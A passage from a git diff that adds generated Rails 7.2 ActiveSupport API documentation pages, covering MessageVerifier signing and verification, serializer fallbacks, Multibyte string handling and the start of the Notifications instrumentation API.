+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_verifier.rb, line 304
+    def generate(value, **options)
+      create_message(value, **options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid_message?(message) + +

+ + +
+

Checks if a signed message could have been generated by signing an object with the MessageVerifierβ€˜s secret.

+ +
verifier = ActiveSupport::MessageVerifier.new("secret")
+signed_message = verifier.generate("signed message")
+verifier.valid_message?(signed_message) # => true
+
+tampered_message = signed_message.chop # editing the message invalidates the signature
+verifier.valid_message?(tampered_message) # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_verifier.rb, line 181
+    def valid_message?(message)
+      !!catch_and_ignore(:invalid_message_format) { extract_encoded(message) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verified(message, **options) + +

+ + +
+

Decodes the signed message using the MessageVerifierβ€˜s secret.

+ +
verifier = ActiveSupport::MessageVerifier.new("secret")
+
+signed_message = verifier.generate("signed message")
+verifier.verified(signed_message) # => "signed message"
+
+ +

Returns nil if the message was not signed with the same secret.

+ +
other_verifier = ActiveSupport::MessageVerifier.new("different_secret")
+other_verifier.verified(signed_message) # => nil
+
+ +

Returns nil if the message is not Base64-encoded.

+ +
invalid_message = "f--46a0120593880c733a53b6dad75b42ddc1c8996d"
+verifier.verified(invalid_message) # => nil
+
+ +

Raises any error raised while decoding the signed message.

+ +
incompatible_message = "test--dad7b06c94abba8d46a15fafaef56c327665d5ff"
+verifier.verified(incompatible_message) # => TypeError: incompatible marshal file format
+
+ +

Options

+
:purpose +
+

The purpose that the message was generated with. If the purpose does not match, verified will return nil.

+ +
message = verifier.generate("hello", purpose: "greeting")
+verifier.verified(message, purpose: "greeting") # => "hello"
+verifier.verified(message, purpose: "chatting") # => nil
+verifier.verified(message)                      # => nil
+
+message = verifier.generate("bye")
+verifier.verified(message)                      # => "bye"
+verifier.verified(message, purpose: "greeting") # => nil
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_verifier.rb, line 222
+    def verified(message, **options)
+      catch_and_ignore :invalid_message_format do
+        catch_and_raise :invalid_message_serialization do
+          catch_and_ignore :invalid_message_content do
+            read_message(message, **options)
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verify(message, **options) + +

+ + +
+

Decodes the signed message using the MessageVerifierβ€˜s secret.

+ +
verifier = ActiveSupport::MessageVerifier.new("secret")
+signed_message = verifier.generate("signed message")
+
+verifier.verify(signed_message) # => "signed message"
+
+ +

Raises InvalidSignature if the message was not signed with the same secret or was not Base64-encoded.

+ +
other_verifier = ActiveSupport::MessageVerifier.new("different_secret")
+other_verifier.verify(signed_message) # => ActiveSupport::MessageVerifier::InvalidSignature
+
+ +

Options

+
:purpose +
+

The purpose that the message was generated with. If the purpose does not match, verify will raise ActiveSupport::MessageVerifier::InvalidSignature.

+ +
message = verifier.generate("hello", purpose: "greeting")
+verifier.verify(message, purpose: "greeting") # => "hello"
+verifier.verify(message, purpose: "chatting") # => raises InvalidSignature
+verifier.verify(message)                      # => raises InvalidSignature
+
+message = verifier.generate("bye")
+verifier.verify(message)                      # => "bye"
+verifier.verify(message, purpose: "greeting") # => raises InvalidSignature
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/message_verifier.rb, line 260
+    def verify(message, **options)
+      catch_and_raise :invalid_message_format, as: InvalidSignature do
+        catch_and_raise :invalid_message_serialization do
+          catch_and_raise :invalid_message_content, as: InvalidSignature do
+            read_message(message, **options)
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessageVerifier/InvalidSignature.html b/src/7.2/classes/ActiveSupport/MessageVerifier/InvalidSignature.html new file mode 100644 index 0000000000..d7d8730d82 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessageVerifier/InvalidSignature.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::MessageVerifier::InvalidSignature +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/MessageVerifiers.html b/src/7.2/classes/ActiveSupport/MessageVerifiers.html new file mode 100644 index 0000000000..8ff94f87cc --- /dev/null +++ b/src/7.2/classes/ActiveSupport/MessageVerifiers.html @@ -0,0 +1,327 @@ +--- +title: ActiveSupport::MessageVerifiers +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + transitional

If true, the first two rotation option sets are swapped when building message verifiers. For example, with the following configuration, message verifiers will generate messages using serializer: Marshal, url_safe: true, and will able to verify messages that were generated using any of the three option sets:

+ +
verifiers = ActiveSupport::MessageVerifiers.new { ... }
+verifiers.rotate(serializer: JSON, url_safe: true)
+verifiers.rotate(serializer: Marshal, url_safe: true)
+verifiers.rotate(serializer: Marshal, url_safe: false)
+verifiers.transitional = true
+
+ +

This can be useful when performing a rolling deploy of an application, wherein servers that have not yet been updated must still be able to verify messages from updated servers. In such a scenario, first perform a rolling deploy with the new rotation (e.g. serializer: JSON, url_safe: true) as the first rotation and transitional = true. Then, after all servers have been updated, perform a second rolling deploy with transitional = false.

+ + + + + +

Instance Public methods

+ +
+

+ + [](salt) + + +

+ + +
+

Returns a MessageVerifier configured with a secret derived from the given salt, and options from rotate. MessageVerifier instances will be memoized, so the same salt will return the same instance.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + []=(salt, verifier) + + +

+ + +
+

Overrides a MessageVerifier instance associated with a given salt.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + clear_rotations + + +

+ + +
+

Clears the list of option sets.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + initialize(&secret_generator) + + +

+ + +
+

Initializes a new instance. secret_generator must accept a salt, and return a suitable secret (string). secret_generator may also accept arbitrary kwargs. If rotate is called with any options matching those kwargs, those options will be passed to secret_generator instead of to the message verifier.

+ +
verifiers = ActiveSupport::MessageVerifiers.new do |salt, base:|
+  MySecretGenerator.new(base).generate(salt)
+end
+
+verifiers.rotate(base: "...")
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + on_rotation(&callback) + + +

+ + +
+

Sets a callback to invoke when a message is verified using an option set other than the first.

+ +

For example, this callback could log each time it is called, and thus indicate whether old option sets are still in use or can be removed from rotation.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + rotate(**options) + + +

+ + +
+

Adds options to the list of option sets. Messages will be signed using the first set in the list. When verifying, however, each set will be tried, in order, until one succeeds.

+ +

Notably, the :secret_generator option can specify a different secret generator than the one initially specified. The secret generator must respond to call, accept a salt, and return a suitable secret (string). The secret generator may also accept arbitrary kwargs.

+ +

If any options match the kwargs of the operative secret generator, those options will be passed to the secret generator instead of to the message verifier.

+ +

For fine-grained per-salt rotations, a block form is supported. The block will receive the salt, and should return an appropriate options Hash. The block may also return nil to indicate that the rotation does not apply to the given salt. For example:

+ +
verifiers = ActiveSupport::MessageVerifiers.new { ... }
+
+verifiers.rotate do |salt|
+  case salt
+  when :foo
+    { serializer: JSON, url_safe: true }
+  when :bar
+    { serializer: Marshal, url_safe: true }
+  end
+end
+
+verifiers.rotate(serializer: Marshal, url_safe: false)
+
+# Uses `serializer: JSON, url_safe: true`.
+# Falls back to `serializer: Marshal, url_safe: false`.
+verifiers[:foo]
+
+# Uses `serializer: Marshal, url_safe: true`.
+# Falls back to `serializer: Marshal, url_safe: false`.
+verifiers[:bar]
+
+# Uses `serializer: Marshal, url_safe: false`.
+verifiers[:baz]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + rotate_defaults + + +

+ + +
+

Invokes rotate with the default options.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages.html b/src/7.2/classes/ActiveSupport/Messages.html new file mode 100644 index 0000000000..5c85c6d1ac --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages.html @@ -0,0 +1,79 @@ +--- +title: ActiveSupport::Messages +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback.html b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback.html new file mode 100644 index 0000000000..617159ee4b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback.html @@ -0,0 +1,77 @@ +--- +title: ActiveSupport::Messages::SerializerWithFallback +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/AllowMarshal.html b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/AllowMarshal.html new file mode 100644 index 0000000000..2535858ea5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/AllowMarshal.html @@ -0,0 +1,54 @@ +--- +title: ActiveSupport::Messages::SerializerWithFallback::AllowMarshal +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/JsonWithFallback.html b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/JsonWithFallback.html new file mode 100644 index 0000000000..80c8d937ee --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/JsonWithFallback.html @@ -0,0 +1,245 @@ +--- +title: ActiveSupport::Messages::SerializerWithFallback::JsonWithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
JSON_START_WITH=/\A(?:[{\["]|-?\d|true|false|null)/
+ + + + + + + +

Instance Public methods

+ +
+

+ + _load(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 90
+          def _load(dumped)
+            ActiveSupport::JSON.decode(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(object) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 86
+          def dump(object)
+            ActiveSupport::JSON.encode(object)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dumped?(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 96
+          def dumped?(dumped)
+            JSON_START_WITH.match?(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + format() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 82
+          def format
+            :json
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/JsonWithFallbackAllowMarshal.html b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/JsonWithFallbackAllowMarshal.html new file mode 100644 index 0000000000..10b5886d64 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/JsonWithFallbackAllowMarshal.html @@ -0,0 +1,76 @@ +--- +title: ActiveSupport::Messages::SerializerWithFallback::JsonWithFallbackAllowMarshal +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MarshalWithFallback.html b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MarshalWithFallback.html new file mode 100644 index 0000000000..247ce05a51 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MarshalWithFallback.html @@ -0,0 +1,245 @@ +--- +title: ActiveSupport::Messages::SerializerWithFallback::MarshalWithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
MARSHAL_SIGNATURE="\x04\x08"
+ + + + + + + +

Instance Public methods

+ +
+

+ + _load(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 67
+          def _load(dumped)
+            Marshal.load(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(object) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 63
+          def dump(object)
+            Marshal.dump(object)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dumped?(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 73
+          def dumped?(dumped)
+            dumped.start_with?(MARSHAL_SIGNATURE)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + format() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 59
+          def format
+            :marshal
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MessagePackWithFallback.html b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MessagePackWithFallback.html new file mode 100644 index 0000000000..5cefa2ef30 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MessagePackWithFallback.html @@ -0,0 +1,232 @@ +--- +title: ActiveSupport::Messages::SerializerWithFallback::MessagePackWithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _load(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 125
+          def _load(dumped)
+            ActiveSupport::MessagePack.load(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(object) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 121
+          def dump(object)
+            ActiveSupport::MessagePack.dump(object)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dumped?(dumped) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 129
+          def dumped?(dumped)
+            available? && ActiveSupport::MessagePack.signature?(dumped)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + format() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/messages/serializer_with_fallback.rb, line 117
+          def format
+            :message_pack
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MessagePackWithFallbackAllowMarshal.html b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MessagePackWithFallbackAllowMarshal.html new file mode 100644 index 0000000000..479c082174 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Messages/SerializerWithFallback/MessagePackWithFallbackAllowMarshal.html @@ -0,0 +1,76 @@ +--- +title: ActiveSupport::Messages::SerializerWithFallback::MessagePackWithFallbackAllowMarshal +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Multibyte.html b/src/7.2/classes/ActiveSupport/Multibyte.html new file mode 100644 index 0000000000..6c61798030 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Multibyte.html @@ -0,0 +1,167 @@ +--- +title: ActiveSupport::Multibyte +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + proxy_class() + +

+ + +
+

Returns the current proxy class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte.rb, line 19
+    def self.proxy_class
+      @proxy_class ||= ActiveSupport::Multibyte::Chars
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + proxy_class=(klass) + +

+ + +
+

The proxy class returned when calling mb_chars. You can use this accessor to configure your own proxy class so you can support other encodings. See the ActiveSupport::Multibyte::Chars implementation for an example how to do this.

+ +
ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte.rb, line 14
+    def self.proxy_class=(klass)
+      @proxy_class = klass
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Multibyte/Chars.html b/src/7.2/classes/ActiveSupport/Multibyte/Chars.html new file mode 100644 index 0000000000..bcff452bbe --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Multibyte/Chars.html @@ -0,0 +1,691 @@ +--- +title: ActiveSupport::Multibyte::Chars +layout: default +--- +
+ +
+
+ +
+ +

Active Support Multibyte Chars

+ +

Chars enables you to work transparently with UTF-8 encoding in the Ruby String class without having extensive knowledge about the encoding. A Chars object accepts a string upon initialization and proxies String methods in an encoding safe manner. All the normal String methods are also implemented on the proxy.

+ +

String methods are proxied through the Chars object, and can be accessed through the mb_chars method. Methods which would normally return a String object now return a Chars object so methods can be chained.

+ +
'The Perfect String  '.mb_chars.downcase.strip
+# => #<ActiveSupport::Multibyte::Chars:0x007fdc434ccc10 @wrapped_string="the perfect string">
+
+ +

Chars objects are perfectly interchangeable with String objects as long as no explicit class checks are made. If certain methods do explicitly check the class, call to_s before you pass chars objects to them.

+ +
bad.explicit_checking_method 'T'.mb_chars.downcase.to_s
+
+ +

The default Chars implementation assumes that the encoding of the string is UTF-8, if you want to handle different encodings you can write your own multibyte string handler and configure it through ActiveSupport::Multibyte.proxy_class.

+ +
class CharsForUTF32
+  def size
+    @wrapped_string.size / 4
+  end
+
+  def self.accepts?(string)
+    string.length % 4 == 0
+  end
+end
+
+ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + Comparable + +
  • + +
+ + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + to_s
+ [R] + to_str
+ [R] + wrapped_string
+ + + + +

Class Public methods

+ +
+

+ + new(string) + +

+ + +
+

Creates a new Chars instance by wrapping string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 56
+      def initialize(string)
+        @wrapped_string = string
+        @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compose() + +

+ + +
+

Performs composition on all the characters.

+ +
'Γ©'.length                       # => 1
+'Γ©'.mb_chars.compose.to_s.length # => 1
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 140
+      def compose
+        chars(Unicode.compose(@wrapped_string.codepoints.to_a).pack("U*"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decompose() + +

+ + +
+

Performs canonical decomposition on all the characters.

+ +
'Γ©'.length                         # => 1
+'Γ©'.mb_chars.decompose.to_s.length # => 2
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 132
+      def decompose
+        chars(Unicode.decompose(:canonical, @wrapped_string.codepoints.to_a).pack("U*"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + grapheme_length() + +

+ + +
+

Returns the number of grapheme clusters in the string.

+ +
'ΰ€•ΰ₯ΰ€·ΰ€Ώ'.mb_chars.length   # => 4
+'ΰ€•ΰ₯ΰ€·ΰ€Ώ'.mb_chars.grapheme_length # => 2
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 148
+      def grapheme_length
+        @wrapped_string.grapheme_clusters.length
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + limit(limit) + +

+ + +
+

Limits the byte size of the string to a number of bytes without breaking characters. Usable when the storage for a string is limited for some reason.

+ +
'こんにけは'.mb_chars.limit(7).to_s # => "こん"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 115
+      def limit(limit)
+        chars(@wrapped_string.truncate_bytes(limit, omission: nil))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_missing(method, ...) + +

+ + +
+

Forward all undefined methods to the wrapped string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 62
+      def method_missing(method, ...)
+        result = @wrapped_string.__send__(method, ...)
+        if method.end_with?("!")
+          self if result
+        else
+          result.kind_of?(String) ? chars(result) : result
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to_missing?(method, include_private) + +

+ + +
+

Returns true if obj responds to the given method. Private methods are included in the search only if the optional second parameter evaluates to true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 74
+      def respond_to_missing?(method, include_private)
+        @wrapped_string.respond_to?(method, include_private)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverse() + +

+ + +
+

Reverses all characters in the string.

+ +
'CafΓ©'.mb_chars.reverse.to_s # => 'Γ©faC'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 106
+      def reverse
+        chars(@wrapped_string.grapheme_clusters.reverse.join)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + slice!(*args) + +

+ + +
+

Works like String#slice!, but returns an instance of Chars, or nil if the string was not modified. The string will not be modified if the range given is out of bounds

+ +
string = 'Welcome'
+string.mb_chars.slice!(3)    # => #<ActiveSupport::Multibyte::Chars:0x000000038109b8 @wrapped_string="c">
+string # => 'Welome'
+string.mb_chars.slice!(0..3) # => #<ActiveSupport::Multibyte::Chars:0x00000002eb80a0 @wrapped_string="Welo">
+string # => 'me'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 96
+      def slice!(*args)
+        string_sliced = @wrapped_string.slice!(*args)
+        if string_sliced
+          chars(string_sliced)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + split(*args) + +

+ + +
+

Works just like String#split, with the exception that the items in the resulting list are Chars instances instead of String. This makes chaining methods easier.

+ +
'CafΓ© pΓ©riferΓ΄l'.mb_chars.split(/Γ©/).map { |part| part.upcase.to_s } # => ["CAF", " P", "RIFERΓ”L"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 83
+      def split(*args)
+        @wrapped_string.split(*args).map { |i| self.class.new(i) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tidy_bytes(force = false) + +

+ + +
+

Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.

+ +

Passing true will forcibly tidy all bytes, assuming that the string’s encoding is entirely CP1252 or ISO-8859-1.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 157
+      def tidy_bytes(force = false)
+        chars(Unicode.tidy_bytes(@wrapped_string, force))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + titlecase() + +

+ + +
+ +
+ + + + + +
+ Alias for: titleize +
+ + + + +
+ +
+

+ + titleize() + +

+ + +
+

Capitalizes the first letter of every word, when possible.

+ +
"Γ‰L QUE SE ENTERΓ“".mb_chars.titleize.to_s    # => "Γ‰l Que Se EnterΓ³"
+"ζ—₯本θͺž".mb_chars.titleize.to_s               # => "ζ—₯本θͺž"
+
+
+ + + +
+ Also aliased as: titlecase +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/chars.rb, line 123
+      def titleize
+        chars(downcase.to_s.gsub(/\b('?\S)/u) { $1.upcase })
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Multibyte/Unicode.html b/src/7.2/classes/ActiveSupport/Multibyte/Unicode.html new file mode 100644 index 0000000000..df21aca63f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Multibyte/Unicode.html @@ -0,0 +1,205 @@ +--- +title: ActiveSupport::Multibyte::Unicode +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
UNICODE_VERSION=RbConfig::CONFIG["UNICODE_VERSION"]
 

The Unicode version that is supported by the implementation

+ + + + + + + +

Instance Public methods

+ +
+

+ + compose(codepoints) + +

+ + +
+

Compose decomposed characters to the composed form.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/unicode.rb, line 21
+      def compose(codepoints)
+        codepoints.pack("U*").unicode_normalize(:nfc).codepoints
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decompose(type, codepoints) + +

+ + +
+

Decompose composed characters to the decomposed form.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/unicode.rb, line 12
+      def decompose(type, codepoints)
+        if type == :compatibility
+          codepoints.pack("U*").unicode_normalize(:nfkd).codepoints
+        else
+          codepoints.pack("U*").unicode_normalize(:nfd).codepoints
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tidy_bytes(string, force = false) + +

+ + +
+

Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.

+ +

Passing true will forcibly tidy all bytes, assuming that the string’s encoding is entirely CP1252 or ISO-8859-1.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/multibyte/unicode.rb, line 30
+      def tidy_bytes(string, force = false)
+        return string if string.empty? || string.ascii_only?
+        return recode_windows1252_chars(string) if force
+        string.scrub { |bad| recode_windows1252_chars(bad) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications.html b/src/7.2/classes/ActiveSupport/Notifications.html new file mode 100644 index 0000000000..b21bff470f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications.html @@ -0,0 +1,584 @@ +--- +title: ActiveSupport::Notifications +layout: default +--- +
+ +
+
+ +
+ +

Notifications

+ +

ActiveSupport::Notifications provides an instrumentation API for Ruby.

+ +

Instrumenters

+ +

To instrument an event you just need to do:

+ +
ActiveSupport::Notifications.instrument('render', extra: :information) do
+  render plain: 'Foo'
+end
+
+ +

That first executes the block and then notifies all subscribers once done.

+ +

In the example above render is the name of the event, and the rest is called the payload. The payload is a mechanism that allows instrumenters to pass extra information to subscribers. Payloads consist of a hash whose contents are arbitrary and generally depend on the event.

+ +

Subscribers

+ +

You can consume those events and the information they provide by registering a subscriber.

+ +
ActiveSupport::Notifications.subscribe('render') do |event|
+  event.name          # => "render"
+  event.duration      # => 10 (in milliseconds)
+  event.payload       # => { extra: :information }
+  event.allocations   # => 1826 (objects)
+end
+
+ +

Event objects record CPU time and allocations. If you don’t need this it’s also possible to pass a block that accepts five arguments:

+ +
ActiveSupport::Notifications.subscribe('render') do |name, start, finish, id, payload|
+  name    # => String, name of the event (such as 'render' from above)
+  start   # => Time, when the instrumented block started execution
+  finish  # => Time, when the instrumented block ended execution
+  id      # => String, unique ID for the instrumenter that fired the event
+  payload # => Hash, the payload
+end
+
+ +

Here, the start and finish values represent wall-clock time. If you are concerned about accuracy, you can register a monotonic subscriber.

+ +
ActiveSupport::Notifications.monotonic_subscribe('render') do |name, start, finish, id, payload|
+  name    # => String, name of the event (such as 'render' from above)
+  start   # => Float, monotonic time when the instrumented block started execution
+  finish  # => Float, monotonic time when the instrumented block ended execution
+  id      # => String, unique ID for the instrumenter that fired the event
+  payload # => Hash, the payload
+end
+
+ +

For instance, let’s store all β€œrender” events in an array:

+ +
events = []
+
+ActiveSupport::Notifications.subscribe('render') do |event|
+  events << event
+end
+
+ +

That code returns right away, you are just subscribing to β€œrender” events. The block is saved and will be called whenever someone instruments β€œrender”:

+ +
ActiveSupport::Notifications.instrument('render', extra: :information) do
+  render plain: 'Foo'
+end
+
+event = events.first
+event.name          # => "render"
+event.duration      # => 10 (in milliseconds)
+event.payload       # => { extra: :information }
+event.allocations   # => 1826 (objects)
+
+ +

If an exception happens during that particular instrumentation the payload will have a key :exception with an array of two elements as value: a string with the name of the exception class, and the exception message. The :exception_object key of the payload will have the exception itself as the value:

+ +
